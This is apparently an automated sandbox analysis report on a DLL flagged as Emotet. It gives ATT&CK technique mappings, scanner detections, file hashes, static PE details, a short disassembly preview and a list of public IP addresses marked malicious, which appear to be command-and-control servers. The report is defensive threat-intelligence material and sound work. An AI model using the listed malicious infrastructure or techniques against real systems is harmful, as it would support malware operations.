Valid Accounts	Native API2	DLL Side-Loading1	DLL Side-Loading1	Deobfuscate/Decode Files or Information1	Input Capture2	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection112	Obfuscated Files or Information2	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Input Capture2	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	DLL Side-Loading1	Security Account Manager	System Information Discovery35	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	File Deletion1	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading2	LSA Secrets	Security Software Discovery31	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion2	Cached Domain Credentials	Virtualization/Sandbox Evasion2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection112	DCSync	Process Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Hidden Files and Directories1	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Regsvr321	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Rundll321	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
pugKLanrj3.dll	27%	Virustotal		Browse
pugKLanrj3.dll	33%	ReversingLabs	Win32.Trojan.Emotet
pugKLanrj3.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.2.rundll32.exe.3090000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.550000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4710000.4.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
4.2.rundll32.exe.47f0000.8.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
7.2.rundll32.exe.4ed0000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.rundll32.exe.2e60000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4820000.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.520000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
4.2.rundll32.exe.4990000.11.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4a90000.12.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
3.2.rundll32.exe.2e50000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
10.2.rundll32.exe.6c0000.2.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
4.2.rundll32.exe.4660000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4fa0000.21.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.rundll32.exe.4630000.4.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
7.2.rundll32.exe.4fe0000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.rundll32.exe.4540000.2.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
4.2.rundll32.exe.4960000.10.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
10.2.rundll32.exe.4ac0000.13.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.rundll32.exe.2e30000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
4.2.rundll32.exe.4570000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4c70000.16.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
10.2.rundll32.exe.5000000.23.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.720000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4e70000.18.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
10.2.rundll32.exe.4ea0000.19.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4980000.9.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.49e0000.11.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.rundll32.exe.4ea0000.3.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
2.2.regsvr32.exe.ed0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.rundll32.exe.4790000.6.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
7.2.rundll32.exe.4fb0000.5.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
10.2.rundll32.exe.4950000.8.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
7.2.rundll32.exe.5010000.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.rundll32.exe.47c0000.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.rundll32.exe.47a0000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
10.2.rundll32.exe.4f70000.20.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
10.2.rundll32.exe.4b90000.14.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
10.2.rundll32.exe.4fd0000.22.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
4.2.rundll32.exe.690000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
4.2.rundll32.exe.6c0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.rundll32.exe.4970000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4bc0000.15.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4740000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.rundll32.exe.4d20000.2.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
2.2.regsvr32.exe.d20000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
4.2.rundll32.exe.4820000.9.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.4ca0000.17.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.47f0000.6.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
10.2.rundll32.exe.49b0000.10.unpack	100%	Avira	HEUR/AGEN.1145233	Download File

Domains

Source	Detection	Scanner	Label	Link
windowsupdate.s.llnwi.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
windowsupdate.s.llnwi.net	41.63.96.128	true	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000011.00000003.408016367.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408127045.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408267129.0000024AA8202000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000011.00000002.435659671.0000024AA74EF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000011.00000003.408016367.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408127045.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408267129.0000024AA8202000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000011.00000003.411715639.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.411696063.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.411749032.0000024AA8202000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.413775795.0000024AA7D8E000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.411646731.0000024AA7DCA000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.411611343.0000024AA7DCA000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://help.disneyplus.com.	svchost.exe, 00000011.00000003.408016367.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408127045.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408267129.0000024AA8202000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 00000011.00000003.408016367.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408127045.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408267129.0000024AA8202000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
207.148.81.119	unknown	United States	20473	AS-CHOOPAUS	true
104.131.62.48	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
85.214.67.203	unknown	Germany	6724	STRATOSTRATOAGDE	true
191.252.103.16	unknown	Brazil	27715	LocawebServicosdeInternetSABR	true
168.197.250.14	unknown	Argentina	264776	OmarAnselmoRipollTDCNETAR	true
66.42.57.149	unknown	United States	20473	AS-CHOOPAUS	true
185.148.168.15	unknown	Germany	44780	EVERSCALE-ASDE	true
51.210.242.234	unknown	France	16276	OVHFR	true
217.182.143.207	unknown	France	16276	OVHFR	true
69.16.218.101	unknown	United States	32244	LIQUIDWEBUS	true
159.69.237.188	unknown	Germany	24940	HETZNER-ASDE	true
45.138.98.34	unknown	Germany	9009	M247GB	true
116.124.128.206	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
78.46.73.125	unknown	Germany	24940	HETZNER-ASDE	true
37.59.209.141	unknown	France	16276	OVHFR	true
210.57.209.142	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
185.148.168.220	unknown	Germany	44780	EVERSCALE-ASDE	true
54.37.228.122	unknown	France	16276	OVHFR	true
190.90.233.66	unknown	Colombia	18678	INTERNEXASAESPCO	true
142.4.219.173	unknown	Canada	16276	OVHFR	true
54.38.242.185	unknown	France	16276	OVHFR	true
195.154.146.35	unknown	France	12876	OnlineSASFR	true
195.77.239.39	unknown	Spain	60493	FICOSA-ASES	true
78.47.204.80	unknown	Germany	24940	HETZNER-ASDE	true
37.44.244.177	unknown	Germany	47583	AS-HOSTINGERLT	true
62.171.178.147	unknown	United Kingdom	51167	CONTABODE	true
128.199.192.135	unknown	United Kingdom	14061	DIGITALOCEAN-ASNUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553115
Start date:	14.01.2022
Start time:	10:38:21
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	pugKLanrj3 (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.troj.evad.winDLL@21/2@0/28
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 43.3% (good quality ratio 41.2%) Quality average: 76.7% Quality standard deviation: 28.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 41 Number of non-executed functions: 129
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 173.222.108.210, 173.222.108.226, 40.91.112.76, 20.54.110.249 Excluded domains from analysis (whitelisted): client.wns.windows.com, displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:40:12	API Interceptor	7x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
207.148.81.119	CSxylfUJcL.dll	Get hash	malicious	Browse
	nCiZXrlB39.dll	Get hash	malicious	Browse
	bEK6Xc41qp.dll	Get hash	malicious	Browse
	vHwdqVl8yP.dll	Get hash	malicious	Browse
	wg1bXKYOOs.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.37.xlsm	Get hash	malicious	Browse
	qJQ5zHpsbm.dll	Get hash	malicious	Browse
	EtUNsUHRzq.dll	Get hash	malicious	Browse
	PyqpE3VUI3.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.31437.xlsm	Get hash	malicious	Browse
	P6h9ZprN2X.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.15200.xlsm	Get hash	malicious	Browse
	P6h9ZprN2X.dll	Get hash	malicious	Browse
	TkXWcfci7G.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.29393.xlsm	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.18721.xlsm	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.3593.xlsm	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.5957.xlsm	Get hash	malicious	Browse
	GxRg3MtYpO.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.4911.xlsm	Get hash	malicious	Browse
104.131.62.48	CSxylfUJcL.dll	Get hash	malicious	Browse
	nCiZXrlB39.dll	Get hash	malicious	Browse
	bEK6Xc41qp.dll	Get hash	malicious	Browse
	vHwdqVl8yP.dll	Get hash	malicious	Browse
	wg1bXKYOOs.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.37.xlsm	Get hash	malicious	Browse
	qJQ5zHpsbm.dll	Get hash	malicious	Browse
	EtUNsUHRzq.dll	Get hash	malicious	Browse
	PyqpE3VUI3.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.31437.xlsm	Get hash	malicious	Browse
	P6h9ZprN2X.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.15200.xlsm	Get hash	malicious	Browse
	P6h9ZprN2X.dll	Get hash	malicious	Browse
	TkXWcfci7G.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.29393.xlsm	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.18721.xlsm	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.3593.xlsm	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.5957.xlsm	Get hash	malicious	Browse
	GxRg3MtYpO.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.4911.xlsm	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
windowsupdate.s.llnwi.net	CSxylfUJcL.dll	Get hash	malicious	Browse	41.63.96.128
	nCiZXrlB39.dll	Get hash	malicious	Browse	95.140.236.0
	bEK6Xc41qp.dll	Get hash	malicious	Browse	41.63.96.128
	vHwdqVl8yP.dll	Get hash	malicious	Browse	95.140.236.0
	wg1bXKYOOs.dll	Get hash	malicious	Browse	41.63.96.128
	SecuriteInfo.com.Trojan.Agent.FRJZ.15200.xlsm	Get hash	malicious	Browse	178.79.242.0
	SecuriteInfo.com.Trojan.Agent.FRJZ.4911.xlsm	Get hash	malicious	Browse	95.140.236.128
	SecuriteInfo.com.Trojan.Agent.FRJZ.9674.xlsm	Get hash	malicious	Browse	95.140.236.128
	SecuriteInfo.com.Trojan.Agent.FRJZ.20696.xlsm	Get hash	malicious	Browse	178.79.242.0
	qyqbwh33325851.xlsm	Get hash	malicious	Browse	95.140.230.192
	Vogxx6aXgA.dll	Get hash	malicious	Browse	95.140.236.0
	K337Ax5xIs.dll	Get hash	malicious	Browse	41.63.96.128
	RmgO44zN8B.xlsx	Get hash	malicious	Browse	41.63.96.0
	o7GqaY5L5D.xlsx	Get hash	malicious	Browse	95.140.230.192
	NewPurchaseOrder.exe	Get hash	malicious	Browse	95.140.236.0
	MSC INVOICE.xlsx	Get hash	malicious	Browse	178.79.225.128
	49HhrNxVP4.dll	Get hash	malicious	Browse	95.140.236.128
	mxXf3QkvqB.dll	Get hash	malicious	Browse	41.63.96.0
	ZoRy73dQrV.dll	Get hash	malicious	Browse	178.79.242.128
	DpWifKzilH.dll	Get hash	malicious	Browse	178.79.242.128

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-CHOOPAUS	CSxylfUJcL.dll	Get hash	malicious	Browse	66.42.57.149
	nCiZXrlB39.dll	Get hash	malicious	Browse	66.42.57.149
	bEK6Xc41qp.dll	Get hash	malicious	Browse	66.42.57.149
	vHwdqVl8yP.dll	Get hash	malicious	Browse	66.42.57.149
	wg1bXKYOOs.dll	Get hash	malicious	Browse	66.42.57.149
	SecuriteInfo.com.Trojan.Agent.FRJZ.37.xlsm	Get hash	malicious	Browse	66.42.57.149
	qJQ5zHpsbm.dll	Get hash	malicious	Browse	66.42.57.149
	EtUNsUHRzq.dll	Get hash	malicious	Browse	66.42.57.149
	PyqpE3VUI3.dll	Get hash	malicious	Browse	66.42.57.149
	SecuriteInfo.com.Trojan.Agent.FRJZ.31437.xlsm	Get hash	malicious	Browse	66.42.57.149
	P6h9ZprN2X.dll	Get hash	malicious	Browse	66.42.57.149
	SecuriteInfo.com.Trojan.Agent.FRJZ.15200.xlsm	Get hash	malicious	Browse	66.42.57.149
	P6h9ZprN2X.dll	Get hash	malicious	Browse	66.42.57.149
	TkXWcfci7G.dll	Get hash	malicious	Browse	66.42.57.149
	SecuriteInfo.com.Trojan.Agent.FRJZ.29393.xlsm	Get hash	malicious	Browse	66.42.57.149
	SecuriteInfo.com.Trojan.Agent.FRJZ.18721.xlsm	Get hash	malicious	Browse	66.42.57.149
	SecuriteInfo.com.Trojan.Agent.FRJZ.3593.xlsm	Get hash	malicious	Browse	66.42.57.149
	CaaBlZ3pOc.exe	Get hash	malicious	Browse	149.28.78.238
	SecuriteInfo.com.Trojan.Agent.FRJZ.5957.xlsm	Get hash	malicious	Browse	66.42.57.149
	GxRg3MtYpO.dll	Get hash	malicious	Browse	66.42.57.149
DIGITALOCEAN-ASNUS	CSxylfUJcL.dll	Get hash	malicious	Browse	128.199.192.135
	nCiZXrlB39.dll	Get hash	malicious	Browse	128.199.192.135
	bEK6Xc41qp.dll	Get hash	malicious	Browse	128.199.192.135
	vHwdqVl8yP.dll	Get hash	malicious	Browse	128.199.192.135
	wg1bXKYOOs.dll	Get hash	malicious	Browse	128.199.192.135
	SecuriteInfo.com.Trojan.Agent.FRJZ.37.xlsm	Get hash	malicious	Browse	128.199.192.135
	qJQ5zHpsbm.dll	Get hash	malicious	Browse	128.199.192.135
	EtUNsUHRzq.dll	Get hash	malicious	Browse	128.199.192.135
	tijXCZsbGe.exe	Get hash	malicious	Browse	188.166.28.199
	PyqpE3VUI3.dll	Get hash	malicious	Browse	128.199.192.135
	SecuriteInfo.com.Trojan.Agent.FRJZ.31437.xlsm	Get hash	malicious	Browse	128.199.192.135
	P6h9ZprN2X.dll	Get hash	malicious	Browse	128.199.192.135
	SecuriteInfo.com.Trojan.Agent.FRJZ.15200.xlsm	Get hash	malicious	Browse	128.199.192.135
	P6h9ZprN2X.dll	Get hash	malicious	Browse	128.199.192.135
	TkXWcfci7G.dll	Get hash	malicious	Browse	128.199.192.135
	SecuriteInfo.com.Trojan.Agent.FRJZ.29393.xlsm	Get hash	malicious	Browse	128.199.192.135
	SecuriteInfo.com.Trojan.Agent.FRJZ.18721.xlsm	Get hash	malicious	Browse	128.199.192.135
	JBtjAS1TGq.exe	Get hash	malicious	Browse	188.166.28.199
	SecuriteInfo.com.Trojan.Agent.FRJZ.3593.xlsm	Get hash	malicious	Browse	128.199.192.135
	SecuriteInfo.com.Trojan.Agent.FRJZ.5957.xlsm	Get hash	malicious	Browse	128.199.192.135

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Microsoft Cabinet archive data, 61414 bytes, 1 file
Category:	dropped
Size (bytes):	61414
Entropy (8bit):	7.995245868798237
Encrypted:	true
SSDEEP:	1536:EysgU6qmzixT64jYMZ8HbVPGfVDwm/xLZ9rP:wF6qmeo4eH1m9wmLvrP
MD5:	ACAEDA60C79C6BCAC925EEB3653F45E0
SHA1:	2AAAE490BCDACCC6172240FF1697753B37AC5578
SHA-256:	6B0CECCF0103AFD89844761417C1D23ACC41F8AEBF3B7230765209B61EEE5658
SHA-512:	FEAA6E7ED7DDA1583739B3E531AB5C562A222EE6ECD042690AE7DCFF966717C6E968469A7797265A11F6E899479AE0F3031E8CF5BEBE1492D5205E9C59690900
Malicious:	false
Preview:	MSCF............,...................I.......;w........RSNj .authroot.stl..>.(.5..CK..8T....c_.d...A.K...+.d.H..i.RJJ.IQIR..$t)Kd.-[..T\{..ne......<.w......A..B........c...wi......D....c.0D,L........fy....Rg...=........i,3.3..Z....~^ve<...TF....f.zy.,...m.@.0.0...m.3..I(..+..v#...(.2....e...L..y..V.......~U...."<ke.....l.X:Dt..R<7.5\A7L0=..T.V...IDr..8<....r&...I-.^..b.b.".Af....E.._..r.>.`;,.Hob..S.....7'..\.R$.".g..+..64..@nP.....k3...B.`.G..@D.....L.....`^...#OpW.....!....`.....rf:.}.R.@....gR.#7....l..H.#...d.Qh..3..fCX....==#..M.l..~&....[.J9.\..Ww.....Tx.%....]..a4E...q.+...#.a..x..O..V.t..Y1!.T..`U...-...< _@...\|(.....0..3.`.LU...E0.Gu.4KN....5...?.....I.p..'..........N<.d.O..dH@c1t...[w/...T....cYK.X>.0..Z.....O>..9.3.#9X.%.b...5.YK.E.V.....`./.3.._..nN]..=..M.o.F.._..z....._...gY..!Z..?l....vp.l.:.d.Z..W.....~...N.._.k...&.....$......i.F.d.....D!e.....Y..,.E..m.;.1... $.F..O.F.o_}.uG....,.%.>,.Zx.......o....c../.;....g&.....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1040605941295265
Encrypted:	false
SSDEEP:	6:kKD1k8SN+SkQlPlEGYRMY9z+4KlDA3RUeYlUmlUR/t:x9kPlE99SNxAhUeYlUSA/t
MD5:	3165402E7A19F508711A928F33305265
SHA1:	27301CC78DC6AFA0C5B2D96AAA8B6351CB1E7B1F
SHA-256:	9DF712961C4297F889E07FA91321C8C5F93C230A8518D498955136645E952B01
SHA-512:	58BFBBCF9A1A72383661F88E843F3B49D589FE4697C38123DB7F92717D6F83ED135AAE063F654666D35E756FFB9DE183009986DE574CC35CD9E9959BBC12FD54
Malicious:	false
Preview:	p...... .........@d.v...(....................................................... ........q.\].......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.7.1.e.1.5.c.5.d.c.4.d.7.1.:.0."...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.087986434992125
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 95.65% Win32 EXE PECompact compressed (generic) (41571/9) 3.97% Generic Win/DOS Executable (2004/3) 0.19% DOS Executable Generic (2002/1) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	pugKLanrj3.dll
File size:	417792
MD5:	db9535477013554eb17c837e6bd92324
SHA1:	ba4fa056de631759ffa5600dd1142a1280d2f051
SHA256:	df234584db0c8aa194c6873b78c8ae0018f0c5f445c5c8a2e90c5e3131310ad0
SHA512:	2fbcd09418989912d97ca8254db3af942902d9c7cb4039089e5fb55e7d3bddc565b7184df4e3bd8cf27ccf5b17f4ab6f5c2ee36470f461e6c73d2de7c1723076
SSDEEP:	6144:o1ju3jPam65ucnNgDoDUhuGGwKveuv4VKYjHyCAJOhrmBlDxqms9ujAJKedmL/:yMjcuDaUIm9StJorohvsMjmKe
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z'...F...F...F...I...F...I...F...F...D..9....F..9....F..9....F..9....F..9....F..9....F..Rich.F..................PE..L...k+.a...

File Icon


Icon Hash:	71b018ccc6577131

Static PE Info

General
Entrypoint:	0x10017b85
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x61E02B6B [Thu Jan 13 13:38:51 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	90add561a8bf6976696c056c199a41b8

Entrypoint Preview

Instruction
cmp dword ptr [esp+08h], 01h
jne 00007FBB809BE3A7h
call 00007FBB809C6128h
push dword ptr [esp+04h]
mov ecx, dword ptr [esp+10h]
mov edx, dword ptr [esp+0Ch]
call 00007FBB809BE292h
pop ecx
retn 000Ch
push 00000000h
push dword ptr [esp+14h]
push dword ptr [esp+14h]
push dword ptr [esp+14h]
push dword ptr [esp+14h]
call 00007FBB809C6190h
add esp, 14h
ret
push eax
push dword ptr fs:[00000000h]
